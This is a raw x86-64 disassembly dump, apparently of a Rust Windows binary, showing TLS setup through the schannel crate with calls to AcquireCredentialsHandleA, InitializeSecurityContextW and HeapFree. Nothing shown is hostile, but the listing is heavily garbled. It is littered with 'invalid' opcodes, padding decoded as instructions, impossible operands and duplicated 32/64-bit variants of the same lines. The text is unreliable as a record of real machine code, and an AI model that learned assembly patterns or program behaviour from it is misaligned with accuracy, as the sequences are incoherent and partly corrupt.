movups xmmword [rsp + 0x80], xmm0
movups xmmword [rsp + 0x70], xmm0
mov dword [rsp + 0x60], 4
mov dword [rsp + 0xa8], 0x400010
movabs rax, 0x8000000000000000
cmp qword [rcx + 0x18], rax
add byte [rax], al
adc byte [rax], al
add byte [rax - 0x48], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0x18413948], al
jne 0x1400ceeab
cmp qword [rcx + 0x30], rax
jne 0x1400ceec7
mov r14, qword [rcx + 0x10]
lea rsi, [r14*8]
test r14, r14
je 0x1400cef11
movabs rax, 0x7ffffffffffffff9
cmp rsi, rax
jae 0x1400cefe0
invalid
mov rbx, qword [rcx + 8]
movzx eax, byte [0x140182310]
xor ecx, ecx
mov rdx, rsi
call fcn.1400df910
test rax, rax
je 0x1400cefe5
mov rdi, rax
mov rcx, rax
mov rdx, rbx
mov r8, rsi
call fcn.140106530
jmp 0x1400cef16
mov edx, dword [rcx + 0x28]
mov dword [rsp + 0x88], edx
mov rdx, qword [rcx + 0x20]
mov qword [rsp + 0x90], rdx
cmp qword [rcx + 0x30], rax
je 0x1400cee52
mov rax, qword [rcx + 0x40]
test rax, rax
je 0x1400ceef3
mov r8, qword [rcx + 0x38]
xor edx, edx
lea r9, [0x140176078]
xor r10d, r10d
movzx r11d, byte [r8 + r10]
or edx, dword [r9 + r11*4]
inc r10
cmp rax, r10
jne 0x1400ceee0
jmp 0x1400ceef5
xor edx, edx
mov dword [rsp + 0x98], edx
mov r14, qword [rcx + 0x10]
lea rsi, [r14*8]
test r14, r14
jne 0x1400cee67
mov edi, 8
mov dword [rsp + 0x64], r14d
mov qword [rsp + 0x68], rdi
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x40], 0
lea rdx, [0x140147ce3]
xor ecx, ecx
mov r8d, 2
xor r9d, r9d
call qword [sym.imp.secur32.dll_AcquireCredentialsHandleA]
test eax, eax
je 0x1400cefa3
mov ebx, eax
shl rbx, 0x20
or rbx, 2
mov r14d, 1
test rsi, rsi
je 0x1400cef88
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, r14
mov rdx, rbx
movaps xmm6, xmmword [rsp + 0xb0]
add rsp, 0xc8
pop rbx
pop rdi
pop rsi
pop r14
ret
movaps xmm6, xmmword [rsp + 0x50]
movzx eax, byte [0x140182310]
mov edx, 0x20
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x1400ceff2
mov rbx, rax
mov qword [rax], 1
mov qword [rax + 8], 1
movups xmmword [rax + 0x10], xmm6
xor r14d, r14d
test rsi, rsi
jne 0x1400cef76
jmp 0x1400cef88
call fcn.140010970
mov ecx, 8
mov rdx, rsi
call fcn.1401082a0
mov ecx, 8
mov edx, 0x20
call fcn.1401082c0
int3
xor ecx, ecx
mov r12d, r14d
cmp rbx, qword [rsp + 0x28]
je 0x1400cf26f
mov r14d, ecx
mov word [rax + rbx*2], r12w
inc rbx
mov qword [rsp + 0x38], rbx
test rdi, rdi
je 0x1400cf240
test r14w, r14w
jne 0x1400cf1a0
cmp rdi, r15
cmp edi, edi
je 0x1400cf240
movzx r8d, byte [rdi]
movzx r12d, r8b
test r12b, r12b
js 0x1400cf1e4
invalid
invalid
inc rdi
xor ecx, ecx
jmp 0x1400cf1a5
mov ecx, r12d
and ecx, 0x1f
movzx r9d, byte [rdi + 1]
and r9d, 0x3f
cmp r12b, 0xdf
jbe 0x1400cf2b8
cmp al, 0xf0
jb 0x1400cf2cc
movzx r12d, byte [rdi + 3]
and ecx, 7
invalid
shl ecx, 0x12
shl edx, 6
and r12d, 0x3f
or r12d, edx
or r12d, ecx
cmp r12d, 0x110000
jne 0x1400cf30b
invalid
mov rbp, qword [rsp + 0x28]
cmp r13w, 1
jne 0x1400cf31f
xor r13d, r13d
mov edi, 0
mov r12d, 0
mov r8d, 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
cmp rbx, rbp
jne 0x1400cf1b3
mov rax, qword [rsp + 0x40]
sub rax, rdi
movabs rdx, 0xaaaaaaaaaaaaaaab
mul rdx
mov r8, rdx
shr r8, 1
cmp cx, 1
sbb r8, 0xffffffffffffffff
cmp r13w, 1
sbb r8, 0xffffffffffffffff
mov r14d, ecx
inc r8
lea rcx, [rsp + 0x28]
mov rdx, rbx
call fcn.14010dcc0
mov rax, qword [rsp + 0x30]
jmp 0x1400cf1b3
add rdi, 3
shl ecx, 0xc
or edx, ecx
mov r12d, edx
cmp r12d, 0xffff
jbe 0x1400cf318
and al, 0
add bh, bh
add cl, al
invalid
mov rdi, qword [rsp + 0x30]
mov rax, qword [rsi + 0x10]
shl rax, 1
test rax, rax
je 0x1400cf343
nop dword [rax + rax]
add r15, qword [r8 - 0x48]
add r15, qword [r8 - 0x30]
add r15, qword [r8 - 0x18]
add r15, qword [r8]
add rcx, 4
add r8, 0x60
cmp rdx, rcx
jne 0x1400cf3d0
test rax, rax
je 0x1400cf41d
lea rcx, [rcx + rcx*2]
lea rcx, [rdi + rcx*8]
iretd
add rcx, 0x10
shl eax, 3
lea rax, [rax + rax*2]
xor edx, edx
nop word cs:[rax + rax]
iretd
add r15, qword [rcx + rdx]
add rdx, 0x18
cmp rax, rdx
jne 0x1400cf410
add r15, r14
je 0x1400cf447
js 0x1400cf5f1
movzx eax, byte [0x140182310]
xor ecx, ecx
mov rdx, r15
call fcn.1400df910
test rax, rax
je 0x1400cf5f6
mov rbx, rax
jmp 0x1400cf44c
mov ebx, 1
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x40], 0
test r14, r14
je case.0x140071463.484
mov byte [rbx + r14], r12b
inc r14
mov qword [rsp + 0x40], r14
mov dword [rsp + 0x40], esi
mov dword [rsp + 0x40], esi
mov rdx, qword [rdi + rbp + 8]
mov rax, qword [rsp + 0x30]
sub rax, r14
cmp rax, r12
jb 0x1400cf4e0
mov rbx, qword [rsp + 0x38]
lea rcx, [rbx + r14]
mov r8, r12
mov eax, esp
call fcn.140106530
add r14, r12
mov qword [rsp + 0x40], r14
add rbp, 0x18
add ebp, 0x18
add ebp, 0x18
cmp r13, rbp
je 0x1400cf4fb
mov r12, qword [rdi + rbp + 0x10]
cmp r14, qword [rsp + 0x30]
jne 0x1400cf480
mov rcx, r15
call fcn.1400ba070
mov rbx, qword [rsp + 0x38]
and al, 0x38
and al, 0x38
mov r14, qword [rsp + 0x40]
jmp 0x1400cf480
mov rcx, r15
mov rbx, rdx
mov rdx, r14
mov r8, r12
call fcn.140108ba0
add eax, dword [rax]
add eax, dword [rax]
mov rdx, rbx
mov r14, qword [rsp + 0x40]
jmp 0x1400cf49e
lea rdi, [r14 + 0xa]
jle 0x1400cf509
movabs rax, 0x7ffffffffffffffd
invalid
cmp rdi, rax
jb 0x1400cf53f
invalid
xor dword [rax - 0x73], ecx
add eax, 0x78863
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.23_src_alpn_list.rs
mov qword [rsp + 0x20], rax
and al, 0x20
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea ecx, str.called__Result::unwrap____on_an__Err__value
or al, byte [rax]
lea r9, [0x140147cb8]
lea r8, [rsp + 0x2f]
and al, 0x2f
and al, 0x2f
mov edx, 0x2b
call fcn.1401088e0
mov edi, 0xa
add byte [rax], al
add al, ch
test eax, 0xbf000393
mov edi, 0xa
xor r14d, r14d
xor esi, esi
movzx eax, byte [0x140182310]
xor ecx, ecx
mov rdx, rdi
call fcn.1400df910
add eax, dword [rcx]
invalid
add eax, dword [rcx]
add byte [rax - 0x7b], cl
test rax, rax
je 0x1400cf5d0
mov r15, rax
lea eax, [r14 + 6]
invalid
mov dword [r15], eax
test rax, rax
je 0x1400cf5d0
mov r15, rax
lea eax, [r14 + 6]
invalid
mov dword [r15], eax
mov dword [r15 + 4], 2
mov dword [rdi + 4], 2
invalid
mov dword [rdi + 4], 2
add byte [rsi + 0x45], ah
mov dword [rdi + 8], esi
invalid
mov word [r15 + 8], r14w
or byte [rcx - 0x7d], cl
invalid
cmp r14, 0xfffffffffffffff6
div byte [rbx + 0x6b]
jae 0x1400cf5dd
mov rcx, r15
mov ecx, edi
add rcx, 0xa
add ecx, 0xa
mov rdx, rbx
mov r8, r14
call fcn.140106530
mov qword [rsi], 4
mov dword [rsi], 4
mov dword [rsi], 4
add al, 0
add byte [rax], al
mov qword [rsi + 8], rdi
mov qword [rsi + 0x10], r15
jle 0x1400cf5a3
cmp qword [rsp + 0x30], 0
jl 0x1400cf5bb
xor byte [rax], al
jle 0x1400cf5a3
jl 0x1400cf5bb
xor byte [rax], al
je 0x1400cf5be
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
mov eax, ebx
mov eax, ebx
fmul dword [rax - 0x7d]
invalid
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rdi
pop rdi
jmp qword [sym.imp.kernel32.dll_HeapFree]
cmp eax, 0x48900004
add esp, 0x48
invalid
invalid
nop
add rsp, 0x48
invalid
invalid
invalid
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov ecx, 4
add al, 0
add byte [rax], al
mov rdx, rdi
call fcn.1401082c0
invalid
add byte [rbp + rcx*4 + 5], cl
lodsb al, byte [rsi]
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.23_src_alpn_list.rs
add eax, 0x787ac
xchg dword [rdi], eax
add byte [rcx + 0xa], bh
mov ecx, 0xa
mov rdx, rdi
call fcn.1401085a0
add eax, dword [rax]
add eax, dword [rax]
call fcn.140010970
adc esi, esp
invalid
mov ecx, 1
add dword [rax], eax
add byte [rax], al
invalid
add byte [rcx + rcx*4 - 6], cl
mov rdx, r15
call fcn.1401082a0
add eax, dword [rax]
int3
int3
int3
mov ecx, dword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
lea rdx, str.LayoutErrorMicrosoft_Unified_Security_Protocol_Provider
mov r8d, 0xb
or eax, dword [rax]
add byte [rax], al
mov ch, 0x86
invalid
or eax, dword [rax]
add byte [rax], al
jmp rax
int3
int3
push r15
push r14
push rsi
push rsi
push r13
push r12
push rsp
push rsp
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xf8
movaps xmmword [rsp + 0xe0], xmm6
loopne 0x1400cf649
add byte [rax], al
loopne 0x1400cf649
add byte [rax], al
mov r14, rdx
mov rdi, rcx
mov edi, ecx
xorps xmm6, xmm6
movaps xmmword [rsp + 0x80], xmm6
sub dword [rsp + 0x80], esi
sub dword [rsp + 0x80], esi
add byte [rax - 0x39], cl
and al, 0x68
push 0
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x70], 8
mov qword [rsp + 0x78], 0
and al, 0x78
add byte [rax], al
add byte [rax], al
jo case.0x1400733b1.474
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x78
and al, 0x78
and al, 0x78
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x4b], al
add dword [rsi + 8], edi
invalid
mov bpl, 1
mov esi, 8
invalid
add byte [rax - 0x48], cl
movabs rax, 0x8000000000000000
cmp qword [r9], rax
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0x75013949], al
invalid
or byte [rcx + 0x39], 1
add dword [rbp + 7], esi
jne 0x1400cf695
xor eax, eax
xor r15d, r15d
jmp 0x1400cf704
mov r12, r8
mov rdx, qword [r9 + 8]
or byte [rbp - 0x75], cl
invalid
invalid
or byte [rbp - 0x75], cl
adc byte [r8 - 0x73], cl
adc byte [rax - 0x73], cl
mov eax, dword [rcx + 0x10]
adc byte [rax - 0x73], cl
lea rcx, [rsp + 0x90]
call fcn.1400cf380
sar esp, cl
invalid
dec dword [rbx + rcx*4 - 0x44]
and al, 0x90
nop
add byte [rax], al
add byte [rax - 0x75], cl
pushfq
and al, 0xa0
add byte [rax], al
add byte [rax], al
mov word [rax + rdx*4], fs
add byte [rax], al
add al, ch
sar esp, cl
invalid
nop
add byte [rax], al
add byte [rax - 0x75], cl
pushfq
and al, 0xa0
add byte [rax], al
add byte [rax], al
test r15, r15
je case.0x1400b958a.167
invalid
invalid
add byte [rax], al
test r15, r15
je case.0x1400b958a.167
invalid
cmp cl, byte [rbx + rcx*4 - 0x54]
mov r13, qword [rsp + 0x98]
mov ebp, dword [rsp + 0x98]
and al, 0x98
add byte [rax], al
add byte [rax - 0x73], cl
invalid
lea rcx, [rsp + 0x68]
lea ecx, [rsp + 0x68]
and al, 0x68
call fcn.140046370
mov rsi, qword [rsp + 0x70]
dec dword [rax - 0x75]
je case.0x1400b958a.167
jo 0x1400cf722
mov rax, qword [rsp + 0x78]
mov eax, dword [rsp + 0x78]
and al, 0x78
mov rcx, rax
mov ecx, eax
shl rcx, 4
mov dword [rsi + rcx], r13d
mov dword [rsi + rcx + 4], 0x12
invalid
add al, 0x12
adc al, byte [rax]
add byte [rax], al
invalid
adc al, byte [rax]
add byte [rax], al
mov qword [rsi + rcx + 8], rbx
inc eax
sal byte [rcx], 0xed
pop rsp
invalid
sal byte [rcx], 0xed
in eax, dx
jmp 0x1400cf701
add eax, 0x3145c031
dec dword [rbp - 0x77]
loopne case.0x1400b7369.179
xor eax, eax
xor r15d, r15d
mov r8, r12
mov dword [rsp + 0xb0], 0
test byte [rax + rsi*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov dword [rsp + 0xb4], eax
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov dword [rsp + 0xb4], eax
add byte [rax], al
add byte [rax - 0x77], cl
mov ah, 0x24
and al, 0xb8
add byte [rax], al
add byte [rdi], cl
mov qword [rsp + 0xb8], rsi
mov dword [rsp + 0xb8], esi
and al, 0xb8
add byte [rax], al
add byte [rdi], cl
movaps xmmword [rsp + 0xc0], xmm6
sub dword [rsp + 0xc0], esi
mov ah, 0x24
rol byte [rax], 0
add byte [rax], al
add byte [rax - 0x48], cl
add byte [rax], al
add byte [rax], al
invalid
movabs rax, 0x100000000
mov eax, 0
add byte [rax], al
add byte [rcx], al
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rdx*8], ah
mov qword [rsp + 0xd0], rax
lea rax, [rsp + 0xc0]
and al, 0xc0
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rsp + 0xd8], rax
add byte [rax], al
add bh, al
and al, 0x64
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x73], cl
test byte [rax + rax*8], ah
and al, 0xc0
and al, 0xc0
add byte [rax], al
add byte [rax - 0x77], cl
invalid
invalid
test byte [rax + rbx*8], ah
add byte [rax], al
add bh, al
and al, 0x64
add byte [rax], al
add byte [rax], al
invalid
add byte [rcx + 0xf], al
adc byte [rsi + 0x10], al
movups xmm0, xmmword [r14 + 0x10]
movaps xmmword [rsp + 0x90], xmm0
lea rax, [rsp + 0x64]
nop
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x64
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x50], eax
and al, 0x50
lea rax, [rsp + 0xd0]
add byte [rax], al
mov qword [rsp + 0x48], rax
and al, 0x48
lea rax, [rsp + 0x80]
mov qword [rsp + 0x40], rax
and al, 0x80
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x40
lea rax, [rsp + 0xb0]
test byte [rax + rsi*4], ah
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rsp + 0x30], rax
mov al, 0
add byte [rax], al
mov qword [rsp + 0x30], rax
xor byte [rax - 0x39], cl
and al, 0x58
and al, 0x58
mov qword [rsp + 0x58], 0
and al, 0x58
pop rax
add byte [rax], al
add byte [rax], al
mov dword [rsp + 0x38], 0
add byte [rax], al
add byte [rax], al
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea rcx, [rsp + 0x90]
xor edx, edx
mov word [rax + rdx*4], fs
and al, 0x90
nop
add byte [rax], al
add byte [rcx], dh
rol byte [rcx - 0x47], cl
invalid
invalid
mov r9d, 0x9819c
pushfq
or dword [rcx], 0x8315ff00
or dword [rax], eax
invalid
invalid
invalid
or dword [rax], eax
call qword [sym.imp.secur32.dll_InitializeSecurityContextW]
cmp eax, 0x90312
add ecx, dword [rcx]
add byte [rbp + 0x33], dh
invalid
cmp eax, 0x123d0004
add ecx, dword [rcx]
add byte [rbp + 0x33], dh
invalid
xor ecx, dword [rax - 0x75]
test byte [rax + rax*4], ah
and al, 0x80
mov rax, qword [rsp + 0x80]
mov eax, dword [rsp + 0x80]
and al, 0x80
add byte [rax], al
add byte [rax - 0x75], cl
mov word [rax + rcx*4], fs
and al, 0x88
mov rcx, qword [rsp + 0x88]
mov qword [rdi + 8], rcx
or byte [rdi], cl
sub byte [rsp + 0xc0], al
and al, 0x88
add byte [rax], al
add byte [rax - 0x77], cl
or byte [r15], r9b
or byte [rdi], cl
or byte [rdi], cl
sub byte [rsp + 0xc0], al
add byte [rax], al
add byte [rdi], cl
movups xmmword [rdi + 0x18], xmm0
adc dword [rdi + 0x18], eax
sbb byte [rcx + 1], bh
mov ecx, 1
add dword [rax], eax
add byte [rax], al
mov qword [rdi], rax
mov qword [rdi + 0x10], rcx
mov dword [rdi + 0x10], ecx
invalid
mov dword [rdi + 0x10], ecx
test bpl, bpl
je 0x1400cf818
jmp 0x1400cf834
shl rax, 0x20
or rax, 2
mov ecx, 2
mov qword [rdi], rax
mov dword [rdi], eax
add byte [rax - 0x77], cl
invalid
mov dword [rdi], eax
mov qword [rdi + 0x10], rcx
mov dword [rdi + 0x10], ecx
adc byte [r8 - 0x7c], r8b
test bpl, bpl
test ch, ch
in eax, dx
jne 0x1400cf834
cmp r15, 0x11
jb case.0x140095e7c.326
invalid
adc dword [rdx + 4], esi
mov rbx, qword [rbx - 8]
mov ebx, dword [rbx - 8]
clc
add al, 0x48
mov ebx, dword [rbx - 8]
clc
clc
mov rcx, qword [0x140182260]
mov ecx, dword [0x140182260]
invalid
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp eax, dword [rax + rax]
cmp qword [rsp + 0x68], 0
cmp dword [rsp + 0x68], 0
add byte [rdx + rdx + 0x48], dh
mov ecx, dword [0x140182260]
or eax, dword [rax]
je 0x1400cf84e
adc cl, byte [rax - 0x75]
or eax, 0xb2a1d
or eax, dword [rax]
mov rcx, qword [0x140182260]
or eax, dword [rax]
xor edx, edx
mov r8, rsi
invalid
call qword [sym.imp.kernel32.dll_HeapFree]
cmp eax, dword [rax + rax]
invalid
cmp eax, dword [rax + rax]
movaps xmm6, xmmword [rsp + 0xe0]
loopne 0x1400cf854
add byte [rax], al
add byte [rax - 0x7f], cl
invalid
invalid
add byte [rax], al
add rsp, 0xf8
add esp, 0xf8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop rsi
pop rsi
pop r15
ret
int3
int3
sub esp, 0x38
mov rax, qword [rcx]
test rax, rax
je case.0x14009ea2d.302
cmp eax, 1
clc
add dword [rbp + 0x22], esi
jne case.0x140095d16.338
jne case.0x140095d16.338
mov rax, qword [rcx + 8]
or byte [r8 - 0x77], cl
and al, 0x28
mov qword [rsp + 0x28], rax
mov byte [rsp + 0x20], 1
jmp 0x1400cf8b1
movsd xmm0, qword [rcx + 8]
movsd qword [rsp + 0x28], xmm0
movups xmmword [rsp + 0x28], xmm0
movups xmmword [rsp + 0x28], xmm0
sub dh, al
mov byte [rsp + 0x20], 3
and al, 0x20
add ebp, ebx
jmp 0x1400cf8b1
and byte [rbx], al
jmp 0x1400cf8b1
mov rax, qword [rcx + 8]
mov qword [rsp + 0x28], rax
mov byte [rsp + 0x20], 2
and al, 0x20
invalid
and al, 0x20
add cl, byte [rax - 0x73]
lea rcx, [rsp + 0x20]
and al, 0x20
call fcn.14010f3b0
cmc
cli
add eax, dword [rax]
nop
add rsp, 0x38
add esp, 0x38
add esp, 0x38
cmp bl, al
ret
int3
int3
int3
int3
push rdi
push r14
push rsi
push r13
push r12
push rsp
push rsp
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xa8
sub esp, 0xa8
sub esp, 0xa8
test al, 0
add byte [rax], al
movzx eax, byte [rcx]
cmp eax, 3
clc
invalid
je 0x1400cf923
invalid
clc
add esi, dword [rax + rdi - 0x7d]
invalid
cmp eax, 7
cmp byte [rbx - 0x7af0f808], al
xchg edx, eax
cmp eax, 7
jne 0x1400cf986
invalid
xchg edx, eax
add byte [rax], al
invalid
test dword [rdx + 0x48000000], edx
mov ecx, dword [rdx + 0x20]
invalid
add byte [rax], al
add byte [rax - 0x75], cl
mov rcx, qword [rdx + 0x20]
invalid
invalid
mov rcx, qword [rdx + 0x20]
and byte [rax - 0x75], cl
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, str.null
lea edx, str.null
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
lea edx, str.null
lea edx, str.null
mov r8d, 4
add al, 0
add byte [rax], al
add byte [rax], al
add byte [rax - 0x7f], cl
invalid
invalid
invalid
add rsp, 0xa8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop rsp
pop r13
pop r14
pop rsi
pop r15
jmp rax
movabs r8, 0xfffffffffffff
invalid
str word [rax - 0x75]
pop rcx
or byte [rax - 0x77], cl
invalid
mov rbx, qword [rcx + 8]
mov rcx, rbx
not rcx
mov rax, rbx
and rax, r8
movabs r9, 0x7ff0000000000000
add byte [rax], al
invalid
invalid
add byte [rax], al
invalid
test rcx, r9
leave
jne 0x1400cf9c2
jbe 0x1400cf97e
xor ecx, ecx
leave
test rbx, rbx
sets cl
lea r8, [0x140147ebf]
lea r9, [0x140147ec2]
or eax, 0x78560
or eax, 0x78560
add byte [rbp + 0xf], cl
enter 0xffffffffffff8348, 0xffffffffffffffc1
enter 0xffffffffffff8348, 0xffffffffffffffc1
cmovns r9, r8
cmovns ecx, eax
enter 0xffffffffffff8348, 0xffffffffffffffc1
add rcx, 3
test rax, rax
mov ebx, 3
add byte [rax + 0xf], cl
invalid
invalid
add ecx, dword [rax - 0x7b]
sar byte [rbx + 3], 0x48
mov ebx, 3
add byte [rax + 0xf], cl
invalid
invalid
add byte [rax], al
add byte [rax + 0xf], cl
invalid
lea rax, [0x140147ec6]
lea eax, [0x140147ec6]
invalid
cmove rax, r9
cmove eax, ecx
shr ecx, 0xb1
jmp case.0x1400c3039.161
or dword [rax], eax
add byte [rcx + 0x58d4cc0], cl
rcl dword [rbx + 0x6349000a], 4
add al, 0x80
add rax, r8
invalid
invalid
mov eax, eax
lea r8, [0x140178d50]
ror byte [rbp + rcx*4 + 5], 0xc1
xchg ebx, eax
or al, byte [rax]
movsxd rax, dword [r8 + rax*4]
add rax, r8
sar bh, 0xe0
sar bh, 0xe0
loopne 0x1400cf9a8
movzx eax, byte [rcx + 1]
mov byte [rsp + 0x50], al
and al, 0x50
mov dh, 0x41
add dword [rax + 0x48502444], ecx
lea eax, [rsp + 0x50]
and al, 0x50
and al, 0x50
lea rax, [rsp + 0x50]
mov qword [rsp + 0x28], rax
and al, 0x28
and al, 0x28
lea rax, [0x140017030]
mov qword [rsp + 0x30], rax
and al, 0x30
and al, 0x30
lea rax, [0x140147dc8]
jmp 0x1400cfe63
add al, 0
invalid
or eax, dword [rdi + rax + 0x4a1e900]
add byte [rax], al
invalid
mov rcx, rbx
mov ecx, ebx
shr rcx, 0x34
test rbx, rbx
test ebx, ebx
jmp 0x11b924200
test ebx, ebx
fstp xword [rax + 0x10]
js 0x1400cf9de
xor r9d, r9d
xor ecx, ecx
and ecx, 0x7ff
test rax, rax
je 0x1400cf9f4
jmp 0x1400cfa18
mov byte [rsp + 0x28], 0x2d
mov r9d, 1
and al, 0x28
sub eax, 0x1b941
sub byte [0x1400eb328], ch
add byte [rax], al
and ecx, 0x7ff
test rax, rax
jne 0x1400cfa18
test ecx, ecx
leave
jne 0x1400cfa18
and byte [rdx - 0x3a], al
or al, 0x2a
mov byte [rsp + r9 + 0x2a], 0x30
mov word [rsp + r9 + 0x28], 0x2e30
shr rbx, 0x3f
shr ebx, 0x3f
xor byte [rsi + 0x42], ah
mov dword [rsp + rcx + 0x28], 0xc1482e30
shr ebx, 0x3f
shr ebx, 0x3f
add rbx, 3
lea rax, [rsp + 0x28]
lea eax, [rsp + 0x28]
jmp case.0x1400c3039.161
or dword [rax], eax
add byte [rcx + rcx*4 + 0x4c], cl
invalid
invalid
mov qword [rsp + 0x40], r9
and al, 0x40
mov qword [rsp + 0x48], rdx
lea edx, [rcx - 0x435]
test ecx, ecx
mov r9d, 0xfffffbcc
mov ecx, 0xfffffbcc
sti
invalid
inc dword [rdi + rcx + 0x45]
invalid
sti
invalid
sti
invalid
cmovne ecx, edx
retf 0x8d49
lea rdx, [r8 + rax + 1]
cmove rdx, rax
mov qword [rsp + 0x90], rdx
xchg esp, eax
and al, 0x90
nop
add byte [rax], al
invalid
xchg esp, eax
and al, 0x90
nop
nop
add byte [rax], al
add byte [rbp + rcx*4 + 0x1c], cl
xchg ebp, eax
add byte [rax], al
lea r11, [rdx*4]
add byte [rax], al
add byte [rax], al
test rax, rax
setne al
xchg ebp, eax
rol byte [rbx + 0xf4102f9], 0x92
invalid
xchg ebp, eax
rol byte [rbx + 0xf4102f9], 0x92
setb ah
invalid
or r12b, al
or ah, al
movabs rbp, 0xcccccccccccccccd
movzx r13d, r12b
mov dh, 0xec
int 0xcc
int3
int3
mov dh, 0xec
test r9d, r9d
js case.0x1400c3039.162
mov byte [rbx], ch
add dword [rax], eax
invalid
mov byte [rbx], ch
add dword [rax], eax
add byte [rbp + 0x69], al
stc
xor al, 1
add dword [rax], eax
invalid
invalid
imul r15d, r9d, 0x13441
add dword [rax], eax
shr r15d, 0x12
cmp r9d, 4
stc
add al, 0x41
adc edi, 0xffffffff
xlatb
invalid
out dx, eax
adc al, byte [rcx - 0x7d]
stc
add al, 0x41
adc edi, 0xffffffff
xlatb
invalid
xlatb
inc dword [rcx + 0x69]
invalid
imul eax, r15d, 0x12934f
shr eax, 0x13
call 0x139963ea7
add cl, al
call 0x139963ea7
sub ecx, r9d
leave
add ecx, eax
mov rax, r15
clc
clc
shl rax, 4
lea rdx, [0x140145230]
mov dword [rdi + 7], edx
invalid
add al, 0x48
lea edx, [0x140145230]
mov dword [rdi + 7], edx
invalid
mov dword [rdi + 7], edx
add byte [rax - 0x75], cl
mov rdi, qword [rax + rdx]
cmp al, 0x10
mov r8, qword [rax + rdx + 8]
adc byte [rax], r9b
or byte [rbp - 0x77], cl
fmul qword [rcx - 0x7d]
invalid
invalid
mov r12, r11
or r12, 2
mov rax, rdi
int3
mul r12
mov r9, rdx
mov rax, r8
mov eax, eax
mov eax, eax
mul r12
mov r10, rdx
mov rsi, rax
invalid
add rsi, r9
adc r10, 0
rol byte [rax], cl
invalid
rol byte [rax], cl
add cl, 0x7d
and cl, 0x7f
jge 0x1400cfa57
loope 0x1400cfb58
xor cl, 0x40
shrd rsi, r10, cl
invalid
shr r10, cl
invalid
mov r9, r13
not r9
add r9, r11
mov rax, rdi
mul r9
loope 0x1400cfb3c
mov esi, edx
loope 0x1400cfb3c
mov esi, edx
mov rax, r8
mul r9
mul ecx
ror byte [rcx - 9], 0xe1
mul ecx
mov r9, rdx
mov rbx, rax
add rbx, r14
adc r9, 0
adc ecx, 0
add byte [rdi + rcx - 0x53], cl
retf
shr r9, cl
add byte [rdi + rcx - 0x53], cl
retf
mov rax, rdi
mul r11
mov rdi, rdx
mov rax, r8
mov eax, eax
mul r11
mov r8, rdx
mov eax, edx
mov eax, edx
add rax, rdi
adc r8, 0
add byte [rdi + rcx - 0x53], cl
ror byte [rcx - 0x2d], 0xe8
shr eax, cl
add byte [rdi + rcx - 0x53], cl
ror byte [rcx - 0x2d], 0xe8
shr eax, cl
shr eax, cl
test cl, 0x40
cmove r10, rsi
cmove edx, esi
cmove edx, esi
cmove r9, rbx
cmove ecx, ebx
cmove r8, rax
cmp r15d, 0x16
jae 0x1400cff34
add eax, dword [rax]
invalid
rol byte [rcx - 0x7d], 0xff
invalid
add eax, dword [rax]
add byte [rax - 0x47], cl
xor al, 0x33
xor esi, dword [rbx]
xor esi, dword [rbx]
xor esi, dword [rbx]
invalid
movabs rcx, 0x3333333333333334
xor esi, dword [rbx]
xor esi, dword [rbx]
xor esi, dword [rbx]
xor ecx, dword [rcx + rcx*4 - 0x28]
mov eax, ebx
mov rax, r11
mul rcx
movabs rax, 0x3333333333333333
lea ecx, [rdx + rdx*4]
or al, 0x92
xor esi, dword [rbx]
xor esi, dword [rbx]
xor ecx, dword [rbp + 0x3944920c]
or al, 0x92
cmp ecx, r11d
or al, 0x92
cmp ecx, r11d
jne 0x1400cfed2
test dword [rbx + rax], esp
invalid
test dword [rbx + rax], esp
add byte [rcx - 1], bh
invalid
invalid
mov ecx, 0xffffffff
invalid
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rdi + rcx - 0x51], cl
imul ebx, ebp
imul r11, rbp
imul ebx, ebp
inc ecx
cmp r11, rax
jbe 0x1400cfb80
cmp ecx, r15d
jb 0x1400cff34
mov sil, 1
xor r12d, r12d
jmp 0x1400d0017
imul esi, r9d, 0xfff4d105
shr esi, 0x14
